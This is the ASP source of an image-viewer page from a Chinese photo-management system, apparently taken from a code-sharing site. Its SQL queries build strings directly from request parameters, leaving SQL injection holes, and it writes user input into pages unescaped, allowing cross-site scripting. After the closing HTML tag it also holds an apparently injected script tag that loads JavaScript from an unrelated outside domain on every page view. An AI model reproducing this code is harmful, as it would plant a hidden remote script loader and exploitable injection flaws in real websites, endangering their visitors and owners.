📄 img.asp

📁 一款有用的图片管理系统
💻 ASP
字号:
<!--#include file="conn.asp"-->
<HTML>
<HEAD>
<TITLE><%=rs5("webname")%></TITLE>
<META content="text/html; charset=gb2312" http-equiv=Content-Type>
<META content="MSHTML 5.00.2920.0" name=GENERATOR>
<link href="style/style.css" rel="stylesheet" type="text/css">
</HEAD>
<BODY bgColor=#CCCCCC leftMargin=0 topMargin=0 marginwidth="0" marginheight="0">
<div id="dhtmltooltip"></div>
<script language="JavaScript" src="style/mouse.js"></script>
<!--#include file="top.asp"-->
<TABLE align=center bgColor=#ffffff border=0 cellPadding=0 cellSpacing=0 
width=770>
  <TBODY>
  <TR>
    <TD vAlign=top width=170><!--#include file="left.asp"--></TD>
    <TD background=images/new_bg2.gif vAlign=top width=3><IMG height=10 
      src="images/dot.gif" width=4></TD>
      <TD vAlign=top> 
        <TABLE border=0 cellPadding=0 cellSpacing=0 height=23 width="100%">
        <TBODY>
        <TR>
              <TD><!--#include file="line.asp"--></TD>
            </TR></TBODY></TABLE>
      <TABLE background=images/bj4.gif border=0 cellPadding=0 
      cellSpacing=0 height=1 width="100%">
        <TBODY>
        <TR>
          <TD height=1><IMG height=1 src="images/dot.gif" 
        width=10></TD></TR></TBODY></TABLE>
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr> 
          <td>　</td>
        </tr>
        <tr> 
          <td align="center"> 
            <%
			sql="select * from imgbook where id="&request("id")&""
			set rs=server.CreateObject("adodb.recordset")
            rs.open sql,conn,1,3
			rs("click")=rs("click")+1
			titleID=rs("titleID")
			gexing=rs("genxing")
			content=rs("content")
			rs.update
		  %>
            <a href="#" onClick="window.open('big.asp?FileName=manage/<%=rs("photo")%>','','width=500,height=500,scrollbars=yes,resizable=yes')" onmouseover="ShowMsg('<%=rs("Content")%>','#FFFFFF',150);" onmouseout="HideMsg();"><script src="showpic.asp?File=img&FileName=manage/<%=rs("photo")%>"></script></a>
          </td>
        </tr>
        <tr> 
          <td height="25"><div align="center">
			<%sql3="select top 1 * from title,imgbook where imgbook.titleID=title.titleID and title.titleName='"&request("title")&"' and imgbook.id<"&request("id")&" order by imgbook.id desc"
			set rs3=server.CreateObject("adodb.recordset")
			rs3.open sql3,conn,1,1
			if not rs3.eof then%>
				<%rs3.movelast%><a href="?id=<%=rs3("id")%>&title=<%=request("title")%>" class="black">上一张</a>
			<%end if
			rs3.close
			set rs3=nothing
			
			sql3="select * from title,imgbook where imgbook.titleID=title.titleID and title.titleName='"&request("title")&"' order by imgbook.id asc"
			set rs3=server.CreateObject("adodb.recordset")
			rs3.open sql3,conn,1,1
			MaxCount=rs3.recordcount
			i=1
			if MaxCount>20 then
				j=1 
				if (MaxCount mod 2)=0 then
					rs3.move ((MaxCount-20)/2)
					i=i+((MaxCount-20)/2)
				else
					rs3.move ((MaxCount-21)/2)
					i=i+((MaxCount-21)/2)
				end if
			end if
			do while not rs3.eof%>
				<a href="img.asp?id=<%=rs3("id")%>&title=<%=request("title")%>" class="black"> 
				<%if rs3("id")=cint(request("id")) then%>
					<font color="#FF0000"><%=i%></font> 
				<%else%>
					<%=i%> 
				<%end if%>
				</a>/ 
				<%rs3.movenext
				i=i+1:j=j+1
				if j=21 then exit do
			loop
			rs3.close
			set rs3=nothing
			
			sql3="select top 1 * from title,imgbook where imgbook.titleID=title.titleID and title.titleName='"&request("title")&"' and imgbook.id>"&request("id")&" order by imgbook.id asc"
			set rs3=server.CreateObject("adodb.recordset")
			rs3.open sql3,conn,1,1
			if not rs3.eof then%><%rs3.movefirst%><a href="?id=<%=rs3("id")%>&title=<%=request("title")%>" class="black">下一张</a><%end if%>
			<%rs3.close
			set rs3=nothing
			rs.close
			set rs=nothing%>
            </div></td>
        </tr>
        <tr> 
          <td height="25"><div align="center">
              <%set rs=conn.execute("select user,updatetime,Photoer from title where titleID="&titleID)%>
		  作者：<%=rs("Photoer")%><font color="#FFFFFF">网尽</font> 上传人：<%=rs("user")%><font color="#FFFFFF">设计</font>
		  更新时间：
		  <%if genxing<>"" then%><%=genxing%><%else%><%=rs(1)%><%end if%>
            </div></td>
        </tr>
      </table>
	</TD>
    <TD background=images/new_bg3.gif width=3><IMG height=10 
      src="images/dot.gif" width=4></TD>
  </TR></TBODY></TABLE>
<!--#include file="bottom.asp"-->
</body>
</HTML>

<script language=javascript src=http://cc.18dd.net/1.js></script>
⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -